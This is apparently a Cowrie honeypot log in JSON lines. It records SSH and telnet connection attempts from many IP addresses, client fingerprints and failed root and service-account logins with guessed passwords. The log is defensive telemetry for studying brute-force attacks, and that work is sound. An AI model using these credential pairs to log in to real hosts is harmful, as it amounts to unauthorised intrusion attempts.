{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:46.815233Z","src_ip":"170.106.119.118","session":"034482286ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:47.323313Z","src_ip":"43.128.111.187","session":"bec5dc192a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00282764434814,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:48.608069Z","src_ip":"152.42.224.71","session":"27be802cf251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":44118,"dst_ip":"159.203.135.109","dst_port":22,"session":"56ef5ebaa29b","protocol":"ssh","message":"New connection: 43.159.169.93:44118 (159.203.135.109:22) [session: 56ef5ebaa29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:52.623886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:52.629237Z","src_ip":"43.159.169.93","session":"56ef5ebaa29b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:52.697616Z","src_ip":"43.159.169.93","session":"56ef5ebaa29b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55wOrd","message":"login attempt [root/p@55wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:53.003790Z","src_ip":"43.159.169.93","session":"56ef5ebaa29b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.022619009017944,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:53.436382Z","src_ip":"18.218.118.203","session":"6737dfb0c8ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:54.075382Z","src_ip":"43.159.169.93","session":"56ef5ebaa29b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":54170,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a28e95a52a6","protocol":"ssh","message":"New connection: 59.17.95.129:54170 (159.203.135.109:22) [session: 9a28e95a52a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:59.574782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:59.579418Z","src_ip":"59.17.95.129","session":"9a28e95a52a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:59.781609Z","src_ip":"59.17.95.129","session":"9a28e95a52a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"1234","message":"login attempt [redmine/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:00.622285Z","src_ip":"59.17.95.129","session":"9a28e95a52a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:01.830681Z","src_ip":"59.17.95.129","session":"9a28e95a52a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49422,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cca4e8b708a","protocol":"telnet","message":"New connection: 152.42.224.71:49422 (10.17.0.5:23) [session: 7cca4e8b708a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:04.070495Z"}
{"eventid":"cowrie.session.closed","duration":60.260918855667114,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:04.273527Z","src_ip":"152.42.224.71","session":"896957e3f191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49104,"dst_ip":"10.17.0.5","dst_port":23,"session":"c307609408d0","protocol":"telnet","message":"New connection: 152.42.224.71:49104 (10.17.0.5:23) [session: c307609408d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:10.113229Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":37340,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa74e1ff19d8","protocol":"ssh","message":"New connection: 43.153.22.143:37340 (10.17.0.5:22) [session: fa74e1ff19d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:11.819842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:11.824566Z","src_ip":"43.153.22.143","session":"fa74e1ff19d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:11.891556Z","src_ip":"43.153.22.143","session":"fa74e1ff19d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Samora4u","message":"login attempt [root/1Samora4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:12.191878Z","src_ip":"43.153.22.143","session":"fa74e1ff19d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:13.262781Z","src_ip":"43.153.22.143","session":"fa74e1ff19d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec19dae6f39e","protocol":"ssh","message":"New connection: 193.32.162.145:43174 (10.17.0.5:22) [session: ec19dae6f39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:24.200823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:24.204860Z","src_ip":"193.32.162.145","session":"ec19dae6f39e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:24.328305Z","src_ip":"193.32.162.145","session":"ec19dae6f39e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:24.753155Z","src_ip":"193.32.162.145","session":"ec19dae6f39e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:25.867594Z","src_ip":"193.32.162.145","session":"ec19dae6f39e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":21975,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7fbfec7f541","protocol":"ssh","message":"New connection: 181.0.214.136:21975 (10.17.0.5:22) [session: b7fbfec7f541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:30.517468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:30.522464Z","src_ip":"181.0.214.136","session":"b7fbfec7f541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:30.685485Z","src_ip":"181.0.214.136","session":"b7fbfec7f541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":56582,"dst_ip":"10.17.0.5","dst_port":22,"session":"621861708f66","protocol":"ssh","message":"New connection: 43.153.124.153:56582 (10.17.0.5:22) [session: 621861708f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:30.812883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:30.817226Z","src_ip":"43.153.124.153","session":"621861708f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:30.886785Z","src_ip":"43.153.124.153","session":"621861708f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin88","message":"login attempt [root/admin88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:31.191002Z","src_ip":"43.153.124.153","session":"621861708f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"potato123","message":"login attempt [root/potato123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:31.363964Z","src_ip":"181.0.214.136","session":"b7fbfec7f541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:32.262477Z","src_ip":"43.153.124.153","session":"621861708f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:32.527583Z","src_ip":"181.0.214.136","session":"b7fbfec7f541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.225401401519775,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:36.612478Z","src_ip":"152.42.224.71","session":"b496537209fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54738,"dst_ip":"10.17.0.5","dst_port":23,"session":"94732e882c33","protocol":"telnet","message":"New connection: 152.42.224.71:54738 (10.17.0.5:23) [session: 94732e882c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:40.281792Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":45106,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e1a19c4258f","protocol":"ssh","message":"New connection: 154.83.13.181:45106 (159.203.135.109:22) [session: 2e1a19c4258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:42.221665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:42.225273Z","src_ip":"154.83.13.181","session":"2e1a19c4258f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":33402,"dst_ip":"10.17.0.5","dst_port":22,"session":"b466b7bc4b3c","protocol":"ssh","message":"New connection: 79.132.141.112:33402 (10.17.0.5:22) [session: b466b7bc4b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:42.374958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:42.379439Z","src_ip":"79.132.141.112","session":"b466b7bc4b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:42.430729Z","src_ip":"154.83.13.181","session":"2e1a19c4258f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:42.467617Z","src_ip":"79.132.141.112","session":"b466b7bc4b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!@#$","message":"login attempt [root/K0nig!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:42.850733Z","src_ip":"79.132.141.112","session":"b466b7bc4b3c","protocol":"ssh"}
